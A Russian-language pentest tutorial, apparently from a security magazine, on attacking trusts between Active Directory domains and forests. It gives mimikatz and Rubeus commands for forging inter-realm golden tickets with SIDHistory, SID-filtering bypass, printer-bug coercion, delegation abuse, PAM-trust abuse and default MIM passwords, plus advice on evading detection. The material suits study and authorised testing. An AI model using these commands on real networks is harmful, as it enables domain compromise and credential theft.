Дальше в лес. Как работают атаки на доверенные отношения доменов и лесов AD
Active Directory позволяет строить сети со сложной архитектурой, включающей несколько доменов и лесов, которые поддерживают определенную иерархию взаимного доверия. Подобные системы неидеальны с точки зрения безопасности, и, хорошо разбираясь в их устройстве, взломщик может получить к ним несанкционированный доступ. В этой статье мы разберем несколько видов атак на отношения доменов и лесов в Active Directory.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Множество компаний использует среду Active Directory для администрирования сети своей организации. Компании растут, домен расширяется, и рано или поздно наступает момент, когда требуется создать в домене другие домены, чтобы разграничить пользователей, обязанности, да и, в конце концов, позаботиться о безопасности.
Допустим, у нас есть компания MISHA Corporation. У нее может быть домен misha.local
для администраторов, bank.misha.local
для финансового отдела, dev.misha.local
для разработчиков и так далее.
Доверие между двумя доменами может быть двусторонним — пользователи домена bank.misha.local
могут получать доступ к ресурсам dev.misha.local
, а пользователи dev.misha.local
— к bank.misha.local
. А может быть односторонним — в таком случае лишь пользователи одного определенного домена имеют доступ к ресурсам другого. Допустим, учетные записи домена dev.misha.local
могут ходить в домен bank.misha.local
, а вот пользователи bank.misha.local
в dev.misha.local
не могут.
Наша прекрасная компания продолжает расширяться и покупает другую компанию, назовем ее MYCRASOFT Corporation. У этой фирмы также есть домен — mycra.local
, в нем имеются пользователи, сервисы, группы. Все настроено и отлично работает. Само собой, теперь пользователям домена misha
хотелось бы получить доступ к этому домену. Здесь мы плавно переходим к понятию леса.
Лес — самая крупная структура в AD. Внутри леса находятся деревья — некий набор доменов (misha.local
, bank.misha.local
, dev.misha.local
). Между лесами также можно настроить как одностороннее, так и двустороннее доверие.
Мы рассмотрим безопасность этих доверенных отношений. Опишем набор атак — от простых к сложным — и разберем такие темы, как SID Filtering, PAM Trust, TGT Delegation.
Когда я пишу «между лесами», я имею в виду атаку, которая выполняется из одного леса на другой, например misha.local <-> priv.local
. Если я пишу «между доменами», то я имею в виду атаку между деревьями (dev.misha.local <-> misha.local
). Чтобы понимать, о чем тут идет речь, читателю нужно разбираться в Kerberos, делегировании, а также иметь базовые знания в Active Directory, так как статья не предполагает объяснение этих технологий, а лишь рассматривает их возможные недостатки.
РАЗВЕДКА
Сначала предлагаю определить масштаб проблемы. Иногда мы будем использовать PowerView
и Active Directory Module
для перечисления объектов.
Леса
Выявить все отношения между лесами поможет встроенный инструмент nltest:
Из вывода мы видим, что в исследуемой сети целых три леса. Между ними всеми установлено двустороннее доверие, а production.local
имеет атрибут enable_tgt
, о котором мы поговорим немного позже.
Соберем чуть больше информации с помощью следующих инструментов:
# Получить информацию о лесе # PowerView Get-Forest Get-Forest -Forest priv.local # AD Module Get-ADForest Get-ADForest -Identity priv.local# Получить все домены в лесе # PowerView # PowerView v3 Get-ForestDomain Get-ForestDomain -Forest priv.local # PowerView v2 Get-NetForestDomain -Verbose Get-NetForestDomain -Forest priv.local # AD Module (Get-ADForest).Domains
Домены
Конечно же, мы можем использовать nltest с приведенным выше синтаксисом, чтобы узнать отношения и внутри леса, но рассмотрим вариант с PowerView и AD Module:
# PowerView #v3 Get-DomainTrust Get-DomainTrust -Domain priv.local Get-DomainTrust -SearchBase GC://priv.local # v2 Get-NetDomainTrust -Domain priv.local # Найти все внешние (external) доверия в текущем лесе Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}# AD Module Get-ADTrust Get-ADTrust -Identity priv.local
Полученный нами вывод показывает связи и отношения внутри леса в исследуемой сети.
TRUST KEYS
Домены
Обеспечивает безопасность специальный ключ — ключ доверия, который автоматически генерируется при создании отношений. При установлении доверия в каждом домене создается связанный пользовательский объект для хранения ключа доверия. Имя пользователя — это NetBIOS-имя другого домена, которое заканчивается символом $
(аналогично имени учетной записи компьютера). Например, в случае доверия между доменами misha.local
и mycra.local
домен misha
будет хранить ключ доверия в пользователе mycra$
, а домен mycra
будет хранить его в пользователе misha$
.
Мы можем извлечь этот ключ, сдампив ntds.dit
, например с помощью mimikatz
(мы должны находиться в высокопривилегированном контексте):
privilege::debug lsadump::trust /patch
Также ключ можно извлечь из хранилища lsa:
Между доменами по умолчанию всегда применяется шифрование AES, а между лесами — RC4. В связи с этим мы должны использовать хеш NTLM, если генерируем билет для дальнейшего продвижения по лесам. И, соответственно, ключ AES, если перемещаемся между доменами.
Резонный вопрос: зачем так ухищряться, если при использовании NTLM просто произойдет даунгрейд до RC4? Ответ прост: генерировать билет подобным образом следует для большей скрытности от систем защиты. Современные СЗИ умеют детектировать понижение шифрования «Кербероса» до RC4, в связи с этим используй AES, если желаешь оставаться невидимкой.
Генерировать билет для доступа к ресурсам другого домена или леса можно вот так:
kerberos::golden /domain:<текущий домен> /sid:<SID_текущего_домена> /sids:<SID_enterprise_admins корневого или атакуемого домена> /rc4:<domain_trust_key> /user:<на чье имя билет> /service:<на какой сервис> /target:<FQDN целевого домена> /ticket:ticket.kirbi kerberos::golden /domain:priv.local /sid:S-1-5-21-210670787-2521448726-163245708 /sids:S-1-5-21-2781415573-3701854478-2406986946-519 /rc4:e5051441f6b1b81bc9de55f1ef3eda26d /user:Administrator /service:krbtgt /target:megabank.local /ticket:ticket.kirbi
Зачем нам нужна опция /sids
? Это называется атакой SIDHistory. Если очень коротко, то данный атрибут служит для сценариев миграции. Мы записываем в билет, что пользователь, указанный флагом /user
, принадлежит группе с SID
, указанной с помощью /sids
. В ней лучше всего указывать SID группы Enterprise Admins
, полученный с корневого либо атакуемого домена (домен dev.misha.local
, корневой для него — misha.local
). Сделать это можно вот так:
dsquery * "CN=Enterprise Admins,CN=Users,DC=megabank,DC=local" -attr objectsid # AD Module Get-ADGroupMember -Identity 'Enterprise Admins' -Server megabank.local # PowerView Get-DomainGroup -Identity 'Enterprise Admins' -Domain megabank.local | select ObjectSid
Наконец, используя полученный тикет, можно запрашивать TGS на сервисы другого домена:
.\Rubeus.exe asktgs /ticket:ticket.kirbi /service:CIFS/dc.megabank.local /dc:dc.megabank.local /ptt
Леса
А теперь пора поговорить о подводных камнях. Казалось бы, в атаке нет ничего сложного. Да, действительно, между доменами она сработает без проблем, но, как только мы начнем атаковать леса, столкнемся с раздражающим Access Denied. Помнишь ли ты про опцию /sids
? Наша беда заключается именно в ней.
Возможно, мы сумеем получить доступ к каким‑либо ресурсам в другом лесе, но зачастую количество этих ресурсов будет ограничено, если у нас вообще что‑то получится. Проблема кроется в так называемом SID Filtering — специальной системе, которая фильтрует из SIDHistory пересекающие границу леса SID с высокими привилегиями, не позволяя получить доступ куда‑либо. У группы Enterprise Admins
по умолчанию RID
составляет 519. Да и в принципе у всех более‑менее привилегированных групп RID
< 1000. Ты уже догадался, как мы будем обходить это ограничение?
Сначала предлагаю проверить наличие этого самого SID Filtering:
# AD Module Get-ADTrust -Filter *
Значение SIDFilteringForestAware
установлено в True
. В связи с этим мы должны будем найти группы, у которых RID
> 1000. Эти группы мы внедрим в SIDHistory
и сможем получить доступ к другому лесу.
Искать можно следующим образом:
# AD Module Get-ADGroup -Filter 'SID -ge "<SID атакуемого леса>-1000"' -Server <атакуемый лес>
Видим интересную группу EUAdmins
с SID S-1-5-21-4066061358-3942393892-617142613-1103
, поэтому генерируем тикет, как описано выше, но указывая в SIDHistory
SID этой группы.
Выдаем себя за контроллер домена
Теперь ты знаешь, что такое SIDHistory, поэтому мы можем даже выдать себя за контроллер домена:
kerberos::golden /user:<имя УЗ текущего ДК> /domain:<текущий домен> /sid:<SID текущего домена> /groups:516 /krbtgt:<krbtgt-хеш текущего домена> /sids:<SID группы Domain Controllers>,S-1-5-9 /ptt
Опцией /groups:516
мы указали RID группы контроллеров домена, а /sids:S-1-5-9
— группа Enterprise Domain Controllers
. Ты можешь поэкспериментировать со стандартными SID, их структуры представлены здесь.
Неограниченное делегирование
Как я уже сказал, не буду вдаваться в теоретические подробности неограниченного делегирования — у «Хакера» есть прекрасный цикл статей по безопасности AD от автора Ralf Hacker, который рассматривает эту технологию в том числе. Мы же взглянем на нее как на дополнительный вектор атаки на отношения.
Между доменами
По умолчанию на всех контроллерах домена включено неограниченное делегирование. В связи с этим мы можем «заставить» атакуемый контроллер домена обратиться к нашим ресурсам, допустим с помощью PrinterBug
или PetitPotam
. Синтаксис будет примерно следующий:
# Запускаем монитор «Рубеуса»Rubeus.exe monitor /targetuser:dc01$ /internal:5 /nowrap# Триггерим PrinterBugMS-RPRN.exe \\<атакуемый КД> \\<наш КД с неограниченным делегированием>MS-RPRN.exe \\dc01.megabank.local \\dc02.priv.local
Между лесами
Здесь нас опять будут поджидать сюрпризы! Не так давно Microsoft озаботилась этой проблемой. Согласись, как‑то не очень хорошо, если хакеры ломают маленький лес компании mycra.local
, а потом перебрасываются на большой — misha.local
. Поэтому появился механизм TGT Delegation. Если очень коротко, то этот механизм предотвращает хождение контроллера домена со своим TGT в другой лес, поэтому его бесполезно триггерить с помощью PrinterBug
, PetitPotam
или любым другим способом.
Сначала требуется обнаружить, включен ли TGT Delegation (вдруг еще не все так плохо?):
netdom trust <атакуемый лес> /domain:<текущий лес> /EnableTgtDelegation # AD Module Get-ADTrust -server <атакуемый лес> -Filter * Get-ADTrust -Filter {Direction -eq "Inbound"} | ft Name,TGTDelegation
Нам повезло — production.local
использует TGT Delegation. Значит, мы можем триггерить контроллер этого домена на наш контроллер, хотя по умолчанию включена настройка TGTDelegation: False
.
Поэтому КД домена megabank.local
мы не сможем заставить сходить к нам.
Также если мы каким‑то образом получили доступ с правами ДА/ЛА на атакуемом КД, то мы можем принудительно включить TGT Delegation, что сделает лес уязвимым:
netdom trust <текущий (атакуемый) лес> /domain:<лес, из которого будем атаковать> /EnableTGTDelegation:Yes netdom trust megabank.local /domain:priv.local /EnableTGTDelegation:Yes
После не забудь отключить следующие функции:
netdom trust megabank.local /domain:priv.local /EnableTGTDelegation:No
Ограниченное делегирование
С ограниченным делегированием все достаточно просто. Сначала ищем нужные УЗ в другом домене/лесе:
# PowerView Get-DomainUser –TrustedToAuth -Domain eu.local Get-DomainComputer –TrustedToAuth -Domain eu.local # AD Module Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server eu.local
Видим, что некоему storagesvc
разрешено делегировать time/EU-DC.eu.local
. При этом, напоминаю, сервисная часть билета не подписывается. Как следствие, мы можем изменить time
на cifs
или ldap
:
Rubeus.exe s4u /user:<юзер с ограниченным делегированием> /rc4:<хеш юзера с ограниченным делегированием> /impersonateuser:<чей билет хотим получить> /domain:<атакуемый домен> /msdsspn:<сервис>/<комп, на который разрешено делегирование> /altservice:<на какой еще сервис хотим получить доступ> /dc:<dc атакуемого домена> /ptt Rubeus.exe s4u /user:storagesvc /rc4:5C76877A9C454CDED58807C20C20AEAC /impersonateuser:Administrator /domain:eu.local /msdsspn:cifs/eu-dc.eu.local /altservice:ldap /dc:eu-dc.eu.local /ptt
PAM TRUST
Privileged Access Management был представлен в Windows Server 2016. По мнению Microsoft, он помогает «смягчить проблемы безопасности в средах Active Directory». Сейчас мы обратимся к сайту Microsoft, разберем этот механизм, а потом рассмотрим, как можно обойти ограничения.
PAM представляет собой дополнительный лес администраторов (лес Bastion
). К данному лесу настроено доверие PAM Trust от другого леса (лес Corp
). А управление ведется с помощью MIM (Microsoft Identity Management). MIM создает дополнительные теневые принципалы безопасности (shadow security principal) в лесе Bastion
— это группы, пользователи и компьютеры, которые сопоставляются с теми же группами, пользователями и компьютерами в лесе Corp
(то есть в лесе, который доверяет Bastion
по PAM Trust). Это позволяет управлять другими лесами без изменений в ACL и без интерактивного входа в систему.
Обнаружение
Обнаружить PAM-доверие несложно. Оно всегда одностороннее — к лесу администраторов из обычного леса. Под обычным лесом я подразумеваю просто какой‑то лес, который управляется лесом администраторов. У такого доверия в свойствах EnableSIDHistory
и EnablePIMTrust
указано значение yes
. Первое позволяет вставлять SID обычного леса в билеты леса администраторов, второе — использовать SID даже с высокими привилегиями (например, Enterprise Admins
). Благодаря этому автоматически обходится SID Filtering
.
Проверка, не в бастионном лесе ли мы
Если вдруг мы скомпрометировали лес администраторов (Bastion
), то мы также сможем получить доступ ко всем обычным лесам, которыми управляет этот лес (в нашем примере это лес Corp
).
Мы можем проверить, не находимся ли мы в лесе администраторов. У этого леса имеются следующие признаки: для доверия ForestTransitive
установлено значение True
, в SIDFilteringQuarantined
— False
(что означает, что фильтрация SID отключена), а также у него есть нужные атрибуты доверия:
# AD Module Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
Чтобы нам было проще отличить PAM Trust
, рассмотрим два примера.
Здесь мы видим, что bastion.local
имеет Outbound-доверие к techcorp.local
. То есть пользователи techcorp.local
могут получать доступ к ресурсам bastion.local
. Это не PAM Trust. Это просто лес с транзитивным доверием и отключенной фильтрацией SID.
Здесь мы видим, что bastion.local
имеет Inbound-доверие от production.local
. То есть пользователи bastion.local
могут получать доступ к ресурсам production.local
. Это уже похоже на PAM Trust. Внимательный читатель спросит: «Миша, а что за атрибуты доверия?» Мы рассмотрим их позже.
Чтобы быть уверенными, что мы действительно находимся в бастионном лесе, мы должны попробовать перечислить shadow security principals
. Эти объекты создаются в специальном контейнере. Если объекты есть, это значит, что наше предположение верно:
# AD Module Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
Вывод на скриншоте выше подтверждает наши догадки. Мы видим, что перед нами группа prodforest-ShadowEnterpriseAdmin
, а участником этой группы является пользователь Administrator
домена bastion.local
. Но стоит отметить, что членство в таких группах непостоянное. Если вывод пуст, мы должны время от времени проверять, какой пользователь добавился в эту группу. Также можно обратить внимание на группу msDS-ShadowPrincipalSid
. Как мы видим, у этой группы rid 519
, что соответствует стандартному RID группы Enterprise Admins
.
Проверяем, не управляется ли текущий лес каким-то другим по PAM Trust
Мы также можем выяснить, управляется ли наш текущий лес бастионным лесом. Перечислим все трасты, которые могут быть похожи на PAM Trust:
# AD Module Get-ADTrust -Filter {(ForestTransitive -eq $True)}
Мы видим, что production.local
имеет Outbound-доверие к bastion.local
, то есть доверяет ему. Теперь стоит обратить внимание на TrustAttributes
.
На PAM Trust
будут указывать два значения:
1024
(0x00000400
) — доверие PAM Trust и External Trust (внешнее доверие);1096
— это и PAM Trust, и External Trust (внешнее доверие), и Forest Transitive.
Также PAM Trust всегда односторонний (от обычного леса к лесу админов). Если мы сомневаемся, PAM Trust ли это, то можем попробовать узнать ОС контроллеров домена леса, которому доверяет наш лес. Если это Windows Server 2016
и выше, то возможен PAM Trust, если ниже, то абсолютно точно нет.
Дополнительные проверки и новые угрозы
Если ты посмотрел в документации Microsoft, как создавать PAM Trust, то, скорее всего, заметил следующие команды:
import-module activedirectory$sp = ConvertTo-SecureString "Pass@word1" –asplaintext –forceNew-ADUser –SamAccountName MIMMA –name MIMMA....
Этой командой создаются дополнительные служебные пользователи в лесе администраторов, которые требуются для управления MIM
.
Если в домене присутствует один из следующих пользователей, это намного увеличивает шансы того, что перед нами лес администраторов:
# PowerView # v2 Get-NetUser -Domain priv.local # v3 Get-DomainUser -Domain priv.local# AD Module Get-ADUser -Filter * -Properties * -Server priv.localMIMMA <- 100% лес админов MIMMonitor <- 100% лес админов MIMComponent <- 100% лес админов MIMSync <- 100% лес админов MIMService <- 100% лес админов <- Входит в группу ДА MIMAdmin <- 100% лес админов SharePoint <- Входит в группу ДА SqlServer BackupAdmin
Все эти учетные записи стоит проверить с паролем Pass@word1
. Также, если мы нашли учетки PRIV.pamRequestor
или pamrequestor
, имеет смысл попробовать пароли L0ngP@ssw0rd
и L0ngP@ssw0rd1
. Ко всему прочему у всех этих пользователей настроен SPN, поэтому мы можем атаковать их с использованием атаки Kerberoasting.
ЭКСПЛУАТАЦИЯ
Чтобы злоупотребить PAM Trust, мы должны получить пользователя, который входит в контейнер CN=Shadow Principal Configuration,CN=Services
. Сначала требуется найти пользователей из этого контейнера:
# AD Module Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services,DC=priv,DC=local" -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
Я уже рассказывал выше, что означает данный вывод. Как только мы сможем скомпрометировать пользователя из этого контейнера (member
), получим доступ, который имеет принципал, указанный в msDS-ShadowPrincipalSid
. В нашем примере это будет доступ, который имеют участники группы Enterpise Admins
.
Мы можем получить доступ к обычному лесу с помощью PowerShell, WMI и других подобных инструментов без ввода учетных данных. Для RDP нам придется их вводить.
Обрати внимание: если шифрование Kerberos AES не включено для доверия, нам нужно изменить свойство WSMan
TrustedHosts
и использовать аутентификацию Negotiate
для PSRemoting
:
# production.local — это управляемый лес. Мы находимся в бастионномEnter-PsSession dc.production.local -Authentication NegotiateWithImplicitCredential
Другой вариант — использовать SIDHistory (опция /sids
в мимике). Доверие PAM позволяет SID с высокими привилегиями пересекать доверие леса, которое обычно фильтруется с помощью SIDFiltering
.
ЗАКЛЮЧЕНИЕ
Вот такой короткой получилась статья. Я надеюсь, что смог достаточно понятным языком рассказать о сложных концепциях.